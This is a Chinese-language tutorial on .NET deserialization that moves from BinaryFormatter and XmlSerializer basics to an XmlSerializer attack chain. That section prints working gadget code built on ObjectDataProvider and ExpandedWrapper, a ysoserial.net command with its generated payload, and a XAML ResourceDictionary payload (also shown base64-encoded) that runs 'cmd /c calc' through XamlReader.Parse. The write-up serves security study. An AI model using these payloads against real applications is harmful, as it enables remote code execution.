Dotnet反序列化

本文很大程度参考了Y4er师傅的文章:https://github.com/Y4er/dotnet-deserialization/blob/main/dotnet-serialize-101.md

本小节很大程度参考了Y4er师傅的

先来一个最基本的Dotnet反序列化demo,了解一下Serializable、NonSerialized特性以及序列化、反序列化会用到的函数等。

using System;
using System.Runtime.Serialization.Formatters.Binary;

namespace ConsoleAppi1;

[Serializable] //一个需要被序列化的类需要加上Serializable特性
public class Person
{
public int age=10;
[NonSerialized]public String name="tom"; //NonSerialized特性用于标识不需要被序列化的属性
public String sex = "Male";
}


public class MyObject
{
static void Main(string[] args)
{
Person p1 = new Person();
FileStream fstream = new FileStream("E:/tools/dotnet/hellowold/Solution1/ser.bin", FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.ReadWrite);

BinaryFormatter binFormatterS = new BinaryFormatter();
binFormatterS.Serialize(fstream,p1);

BinaryFormatter binFormatterD = new BinaryFormatter();
fstream.Position = 0; //不加这个可能会报错
Person p2 = (Person)binFormatterD.Deserialize(fstream);

Console.WriteLine("age:"+p2.age);
Console.WriteLine("name:"+p2.name);
Console.WriteLine("sex:"+p2.sex);
}
}

查看序列化的数据,发现采用0001 0000开头

Formatter

Formatter用于设置序列化的格式,如我们上面用到了BinaryFormatter 进行二进制序列化,除此之外还有很多Formatter

如:
SoapFormatter 用于序列化soap格式
LosFormatter 用于序列化 Web 窗体页的视图状态
XmlSerializer 用于生成XML 等

所有Formatter都最终继承自IFormatter接口,我们看看这个接口

可以发现定义了序列化、反序列化方法以及三个属性,通过这三个属性可以控制序列化、反序列化的过程。我们重点关注SurrogateSelector属性。

类 字段名 含义用途
ISurrogateSelector SurrogateSelector 序列化代理选择器 接管formatter的序列化或反序列化处理
SerializationBinder Binder 用于控制在序列化和反序列化期间使用的实际类型
StreamingContext Context 序列化流上下文 其中states字段包含了序列化的来源和目的地

BinaryFormatter序列化的生命周期和事件

ISerializable

我们先来看看实现ISerializable 接口的类 序列化、反序列化调用流程

using System;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Security.Permissions;

namespace ConsoleAppi1;
[Serializable]
public class Person:ISerializable
{

public Person()
{

}
//必须重载一个如下参数的构造方法,不重载的话会在反序列化时报错
protected Person(SerializationInfo info, StreamingContext context)
{
Console.WriteLine("Constructor Begin!");
}


public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Console.WriteLine("GetObjectData");
}

[OnDeserializing]
private void TestOnDeserializing(StreamingContext sc)
{
Console.WriteLine("TestOnDeserializing");

}
[OnDeserialized]
private void TestOnDeserialized(StreamingContext sc)
{
Console.WriteLine("TestOnDeserialized");
}
[OnSerializing]
private void TestOnSerializing(StreamingContext sc)
{
Console.WriteLine("TestOnSerializing");
}
[OnSerialized]
private void TestOnSerialized(StreamingContext sc)
{
Console.WriteLine("TestOnSerialized");
}
}


public class MyObject
{
static void Main(string[] args)
{
Person p1 = new Person();
FileStream fstream = new FileStream("E:/tools/dotnet/hellowold/Solution1/ser.bin", FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.ReadWrite);

BinaryFormatter binFormatterS = new BinaryFormatter();
binFormatterS.Serialize(fstream,p1);

BinaryFormatter binFormatterD = new BinaryFormatter();
fstream.Position = 0;
binFormatterD.Deserialize(fstream);
}
}

运行结果如下

可以发现如果实现了ISerializable接口,那么序列化/反序列化流程则为:

序列化前:调用OnSerializing 特性的方法
序列化中: 调用GetObjectData 方法
序列化后:调用OnSerialized特性的方法
反序列化前:调用OnDeserializing特性的方法
反序列化中:调用有特定参数的构造方法
反序列化后:调用OnDeserialized特性的方法

代理选择器

再来看看实现代理选择器的类的序列化/反序列化流程

using System;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Security.Permissions;

namespace ConsoleAppi1;
[Serializable]
public class Person:ISerializable
{

public Person()
{

}
public Person(SerializationInfo info, StreamingContext context)
{
Console.WriteLine("Constructor Begin!");
}


public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Console.WriteLine("GetObjectData");
}

[OnDeserializing]
private void TestOnDeserializing(StreamingContext sc)
{
Console.WriteLine("TestOnDeserializing");

}
[OnDeserialized]
private void TestOnDeserialized(StreamingContext sc)
{
Console.WriteLine("TestOnDeserialized");
}
[OnSerializing]
private void TestOnSerializing(StreamingContext sc)
{
Console.WriteLine("TestOnSerializing");
}
[OnSerialized]
private void TestOnSerialized(StreamingContext sc)
{
Console.WriteLine("TestOnSerialized");
}
}

//定义代理选择器,需要继承自ISerializationSurrogate,并实现GetObjectData,SetObjectData
public class MySerializationSurrogate : ISerializationSurrogate
{
public void GetObjectData(object obj, SerializationInfo info, StreamingContext context)
{
Console.WriteLine("GetObjectData of ISerializationSurrogate");
}

public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
{
Console.WriteLine("SetObjectData of ISerializationSurrogate");
return 1;
}
}

public class MyObject
{
static void Main(string[] args)
{
Person p1 = new Person();
FileStream fstream = new FileStream("E:/tools/dotnet/hellowold/Solution1/ser.bin", FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.ReadWrite);
BinaryFormatter binFormatter = new BinaryFormatter();

//设置代理选择器
SurrogateSelector ss = new SurrogateSelector();
ss.AddSurrogate(typeof(Person), binFormatter.Context, new MySerializationSurrogate());
binFormatter.SurrogateSelector = ss;

binFormatter.Serialize(fstream,p1);
fstream.Position = 0;
binFormatter.Deserialize(fstream);
}
}

基础链-XmlSerializer链

XmlSerializer序列化/反序列化

来个demo

我们把要序列化的类用[XmlRoot],[XmlAttribute],[XmlElement]特性分别指定根节点,节点属性,节点元素。
然后用XmlSerializer 进行序列化和反序列化

using System;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Security.Permissions;
using System.Xml.Serialization;

namespace ConsoleAppi1;
[XmlRoot]
public class Person
{
[XmlAttribute]
public string name { get; set; }

[XmlElement]
public int age { get; set; }

[XmlElement]
public string sex { get; set; }

}

public class MyObject
{
static void Main(string[] args)
{
Person p1 = new Person();
p1.age = 20;
p1.name = "tom";
p1.sex = "male";

FileStream fstream = new FileStream("E:/tools/dotnet/hellowold/Solution1/ser.bin", FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.ReadWrite);

//XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));
//XmlSerializer xmlSerializer = new XmlSerializer(p1.GetType());
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType("ConsoleAppi1.Person"));

xmlSerializer.Serialize(fstream,p1);

fstream.Position = 0;

Person p1des =(Person) xmlSerializer.Deserialize(fstream);
Console.WriteLine(p1des.name);
}
}

反序列化后成功输出

这是序列化后的内容

同时我们在上面的代码中可以看到在实例化XmlSerializer 时,在传入的参数中我们用到了Type.GetType方法去获取需要被序列化/反序列化的类的type。
除了用Type.GetType外,在注释的几行里我们还可以发现,可以用 typeof(ClassName) 和 Object.GetType() 去获取。

攻击链

ObjectDataProvider

要打造围绕XmlSerializer 的攻击链,我们需要先了解一下ObjectDataProvider这个类,这个类可以帮助我们进行命令执行等操作。

这个类位于System.Windows.Data下(如果rider提示找不到包,就添加PresentationFramework依赖,注意我当前的环境是.NET FrameWork)。

前置知识:在.net中我们可以通过方法System.Diagnostics.Process.start()来执行命令,就像java里的 Runtime.getRuntime.exec() 一样。

ObjectDataProvider o = new ObjectDataProvider();
o.MethodParameters.Add("calc");
o.MethodName = "Start";
o.ObjectInstance = new System.Diagnostics.Process();

这段代码执行后后在内部调用System.Diagnostics.Process.start弹计算器出来。
ObjectInstance用于指定对象,MethodName用于指定要被调用的方法,MethodParameters指定被调用方法的参数,参数用Add添加。

同时这段代码在通过xmlserializer反序列化时依旧能够起到命令执行的作用,但是直接反序列化会遇到一些问题

using System;
using System.IO;
using System.Windows.Data;
using System.Xml.Serialization;

namespace ConsoleApplication1
{
[XmlRoot]
public class evil
{
public void evilfunc(string c)
{
System.Diagnostics.Process.Start(c);
}
}

class Program
{
public static void Main(string[] args)
{
ObjectDataProvider op = new ObjectDataProvider();
op.ObjectInstance = new evil();
op.MethodName = "evilfunc";
op.MethodParameters.Add("calc");

FileStream fileStream = new FileStream("E:/tools/dotnet/hellowold/Solution1/ser.bin", FileMode.OpenOrCreate,
FileAccess.ReadWrite, FileShare.ReadWrite);
XmlSerializer xmlSerializer = new XmlSerializer(typeof(ObjectDataProvider));
xmlSerializer.Serialize(fileStream,op);
}
}
}

直接反序列化会报下面的错。因为我们往XmlSerializer 传入的type是ObjectDataProvider,但是实际上我们的ObjectDataProvider中有含有evil类,就会导致类型错误。

解决方案是用ExpandedWrapper进行包装(如果找不到这个类,rider里右键Dependencies→add References→ System.Data.Services)

就像这样

ExpandedWrapper本质上是一个泛型类,可以封装非特定数据类型的对象。

using System;
using System.IO;
using System.Windows.Data;
using System.Xml.Serialization;
using System.Data.Services.Internal;


namespace ConsoleApplication1
{
[XmlRoot]
public class evil
{
public void evilfunc(string c)
{
System.Diagnostics.Process.Start(c);
}
}

class Program
{
public static void Main(string[] args)
{
ExpandedWrapper<evil, ObjectDataProvider> ew = new ExpandedWrapper<evil, ObjectDataProvider>();
ew.ProjectedProperty0 = new ObjectDataProvider();
ew.ProjectedProperty0.ObjectInstance = new evil();
ew.ProjectedProperty0.MethodName = "evilfunc";
ew.ProjectedProperty0.MethodParameters.Add("calc");

FileStream fileStream = new FileStream("E:/tools/dotnet/hellowold/Solution1/ser.bin", FileMode.OpenOrCreate,
FileAccess.ReadWrite, FileShare.ReadWrite);
XmlSerializer xmlSerializer = new XmlSerializer(typeof(ExpandedWrapper<evil, ObjectDataProvider>));
xmlSerializer.Serialize(fileStream,ew);
fileStream.Position = 0;
xmlSerializer.Deserialize(fileStream);
}
}
}

反序列化后成功弹出计算器。

ResourceDictionary

我们在上一小节讲了ObjectDataProvider并写了一个小demo,但是仅仅是那样的话,威胁还不够大,我们需要找到一个现存的恶意类,并且还要控制反序列化的内容,以及实例化XmlSerializer时传入的参数才有可能完成攻击。

我们可以用ysoserial.net来生成一段XmlSerializer反序列化的payload
https://github.com/pwntester/ysoserial.net/releases/tag/v1.34

.\ysoserial.exe -g objectdataprovider -c calc -f xmlserializer
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>

但是它生成的payload对于新手分析起来难免有点恼火,所以我参考了Y4er提供的payload

<ResourceDictionary 
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:b="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>

这段payload实际上是xaml(可以理解为和xml相近的语言),解读如下:

  1. xmlns:c 引用了System.Diagnostics命名空间起别名为c
  2. d:Key=”” 起别名为空,在xaml语法中,Key这个键值必须有。
  3. ObjectType表示对象类型
  4. d:Type 等同于typeof(),那么 d:Type c:Process 就相当于 typeof(System.Diagnostics.Process)
  5. MethodName是ObjectDataProvider的属性,传递一个Start等于调用Start方法。

如果这段xaml被解析,那么就相当于创建了一个ObjectDataProvider 对象去执行System.Diagnostics.Process.start(“calc”)

那么如何被解析呢?

网上大致有两种思路

1.实例化XmlSerializer时传入的type可控,且XmlSerializer.Deserialize的参数可控,但是由于Deserialize方法并不能接收string参数,所以说这个思路可能更加适合通过代码审计发现一些新的链(这样的话就没必要用到ResourceDictionary了)

2.使用XamlReader.Parse ,这个方法可以直接传入string参数

下面用XamlReader.Parse解析一下上面的xaml

string p = "PFJlc291cmNlRGljdGlvbmFyeSAKICAgICAgICAgICAgICAgICAgICB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiAKICAgICAgICAgICAgICAgICAgICB4bWxuczpkPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCIgCiAgICAgICAgICAgICAgICAgICAgeG1sbnM6Yj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiIAogICAgICAgICAgICAgICAgICAgIHhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+CiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIGQ6S2V5PSIiIE9iamVjdFR5cGU9IntkOlR5cGUgYzpQcm9jZXNzfSIgTWV0aG9kTmFtZT0iU3RhcnQiPgogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4KICAgICAgICAgICAgPGI6U3RyaW5nPmNtZDwvYjpTdHJpbmc+CiAgICAgICAgICAgIDxiOlN0cmluZz4vYyBjYWxjPC9iOlN0cmluZz4KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPgogICAgPC9PYmplY3REYXRhUHJvdmlkZXI+CjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pg==";
byte[] vs = Convert.FromBase64String(p);
string xml = Encoding.UTF8.GetString(vs);
XamlReader.Parse(xml);

Ref:

https://github.com/Y4er/dotnet-deserialization/blob/main/XmlSerializer.md

https://www.anquanke.com/post/id/172316#h3-8

https://blog.51cto.com/u_13953961/3106574